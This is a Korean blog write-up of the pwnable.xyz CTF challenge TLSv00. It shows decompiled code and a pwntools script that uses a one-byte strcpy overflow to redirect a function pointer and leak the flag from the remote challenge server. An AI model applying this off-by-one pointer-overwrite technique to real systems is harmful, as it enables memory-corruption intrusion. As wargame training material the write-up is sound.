메로나

[pwnable.xyz] TLSv00 (100) write-up 본문

Wargame & CTF/Pwnable

[pwnable.xyz] TLSv00 (100) write-up

m3r0n4 2021. 2. 7. 22:07

보호기법은 다 걸려있고 아이다로 까보면 아래와 같다.

unsigned __int64 __fastcall generate_key(int a1)
{
  int i; // [rsp+18h] [rbp-58h]
  int fd; // [rsp+1Ch] [rbp-54h]
  char s[72]; // [rsp+20h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+68h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( a1 > 0 && (unsigned int)a1 <= 0x40 )
  {
    memset(s, 0, sizeof(s));
    fd = open("/dev/urandom", 0);
    if ( fd == -1 )
    {
      puts("Can't open /dev/urandom");
      exit(1);
    }
    read(fd, s, a1);
    for ( i = 0; i < a1; ++i )
    {
      while ( !s[i] )
        read(fd, &s[i], 1uLL);
    }
    strcpy(key, s);
    close(fd);
  }
  else
  {
    puts("Invalid key size");
  }
  return __readfsqword(0x28u) ^ v5;
}
__int64 print_flag()
{
  __int64 result; // rax

  puts("WARNING: NOT IMPLEMENTED.");
  result = (unsigned __int8)do_comment;
  if ( !(_BYTE)do_comment )
  {
    printf("Wanna take a survey instead? ");
    if ( getchar() == 121 )
      do_comment = (__int64 (*)(void))f_do_comment;
    result = do_comment();
  }
  return result;
}

취약한 함수랑 이용해야할 함수를 꼽아보자면 이 두가지이다. generate_key 함수에서 strcpy를 사용하니 최대크기로 넣어주면 1바이트 오버플로우가 일어날 것을 알 수 있다. 보면 key 밑에 do comment가 있기 때문에 처음에 print_flag 불러와서 do comment에 f_do_comment 주소 박아주고 key 최대로 생성해서 do_comment의 마지막 1바이트를 \x00으로 바꿔주면 print_flag를 다음에 불러올 때 마다 f_do_comment가 아닌 real_print_flag 함수가 불러와져서 xor 연산이 된 flag를 불러올 수 있을 것이다. 그리고 key 크기를 1부터 하나씩 늘려서 flag를 읽어오면 될 것 같다. 어차피 첫글자는 F니까 첫번째 글자를 못 읽어오는 것은 딱히 생각할 필요 없을 것 같다.

from pwn import *

#context.log_level = 'debug'
p = remote('svc.pwnable.xyz', 30006)
#p = process('./challenge')
e = ELF('./challenge')
flag = ''

def re_generate(length):
        p.sendlineafter('> ', str(1))
        p.sendlineafter('key len: ', str(length))

def load_flag():
        p.sendlineafter('> ', str(2))

def print_flag(nop):
        p.sendlineafter('> ', str(3))
        p.sendafter('instead? ', nop)
        if(nop == 'y'):
                p.sendlineafter('comment: ', 'comment')
print_flag('y')
re_generate(64)
for i in range(1, 65):
        re_generate(i)
        load_flag()
        print_flag('n')
        flag += p.recv(64)[i]
        print(flag)
print(flag)
p.interactive()

뭔가 한글자씩 계속 빈다... 뭐가 문제인지는 모르겠는데 일단 안나오는건 게싱으로 때려맞췄다...